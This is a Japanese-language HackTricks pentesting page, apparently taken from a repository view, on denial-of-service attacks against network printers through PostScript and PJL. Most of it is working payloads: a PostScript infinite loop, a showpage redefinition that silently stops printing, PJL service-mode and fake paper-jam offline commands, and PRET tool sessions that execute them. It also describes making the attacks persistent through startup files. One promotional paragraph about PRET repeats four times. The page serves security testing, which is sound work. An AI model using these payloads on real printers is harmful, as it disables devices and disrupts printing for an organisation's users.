hacktricks/network-services-pentesting/pentesting-printers/document-processing.md
2023-07-07 23:42:27 +00:00

10 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ページの説明言語は、無限ループや多くの計算時間を必要とする計算を許可しています。PCLのようなミニマリストな言語でも、利用可能なメモリが消費されるまで、永続的なマクロやフォントのアップロードに使用することができます。

PostScript

無限ループ

%!
{} loop

PRETを使用すると、以下のようなことができます:

  • プリンターの状態を取得する(モデル、シリアル番号、トナーの残量など)
  • プリンターの設定を変更する(デフォルトのパスワードの変更、ネットワーク設定の変更など)
  • プリンターから印刷ジョブをキャプチャする
  • プリンターのメモリをダンプする
  • プリンターのファームウェアをアップロードする
  • プリンターのファームウェアをリバースエンジニアリングする

PRETは、プリンターの脆弱性を利用して、機密情報の漏洩やネットワークへの侵入を行うためのツールです。プリンターは通常、ネットワークに接続されており、セキュリティ対策が不十分な場合があります。PRETを使用することで、プリンターの脆弱性をテストし、セキュリティ上のリスクを特定することができます。

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

showpage の再定義

showpage を何もしないように設定することで、実際にページを印刷するためにすべてのドキュメントで使用される showpage が何も印刷しないようになります。

true 0 startjob
/showpage {} def

PRETを使用すると、以下のようなことができます:

  • プリンターの状態を取得する(モデル、シリアル番号、トナーの残量など)
  • プリンターの設定を変更する(デフォルトのパスワードの変更、ネットワーク設定の変更など)
  • プリンターから印刷ジョブをキャプチャする
  • プリンターのメモリをダンプする
  • プリンターのファームウェアをアップロードする
  • プリンターのファームウェアをリバースエンジニアリングする

PRETは、プリンターの脆弱性を利用して、機密情報の漏洩やネットワークへの侵入を行うためのツールです。プリンターは通常、ネットワークに接続されており、セキュリティ対策が不十分な場合があります。PRETを使用することで、プリンターの脆弱性をテストし、セキュリティ上のリスクを特定することができます。

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

両方の攻撃コードは、書き込み可能なディスクを持つデバイスに対して永続的なDoSを引き起こすために、Sys/Start、startup.psなどのファイルにも書き込むことができます。

PJL

PJL jobmedia

プロプライエタリなPJLコマンドを使用すると、以下に示すように、LaserJet 4kシリーズなどの古いHPデバイスをサービスモードに設定し、すべての印刷機能を完全に無効にすることができます。

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

PRETを使用すると、以下のようなことができます:

  • プリンターの状態を取得する(モデル、シリアル番号、トナーの残量など)
  • プリンターの設定を変更する(デフォルトのパスワードの変更、ネットワーク設定の変更など)
  • プリンターから印刷ジョブをキャプチャする
  • プリンターのメモリをダンプする
  • プリンターのファームウェアをアップロードする
  • プリンターのファームウェアをリバースエンジニアリングする

PRETは、プリンターの脆弱性を利用して、機密情報の漏洩やネットワークへの侵入を行うためのツールです。プリンターは通常、ネットワークに接続されており、セキュリティ対策が不十分な場合があります。PRETを使用することで、プリンターの脆弱性をテストし、セキュリティ上のリスクを特定することができます。

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

オフラインモード

さらに、PJL標準では、OPMSGコマンドが定義されており、これは「プリンタに指定されたメッセージを表示させ、オフラインにする」ためのものです\cite{hp1997pjl}。以下に示すように、これを使用して紙詰まりをシミュレートすることができます。

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

PRETを使用すると、以下のようなことができます:

  • プリンターの状態を取得する(モデル、シリアル番号、トナーの残量など)
  • プリンターの設定を変更する(デフォルトのパスワードの変更、ネットワーク設定の変更など)
  • プリンターから印刷ジョブをキャプチャする
  • プリンターのメモリをダンプする
  • プリンターのファームウェアをアップロードする
  • プリンターのファームウェアをリバースエンジニアリングする

PRETは、プリンターの脆弱性を利用して、機密情報の漏洩やネットワークへの侵入を行うためのツールです。プリンターは通常、ネットワークに接続されており、セキュリティ対策が不十分な場合があります。PRETを使用することで、プリンターの脆弱性をテストし、セキュリティ上のリスクを特定することができます。

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

これらの攻撃について詳しくはhttp://hacking-printers.net/wiki/index.php/Document_processing を参照してください

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥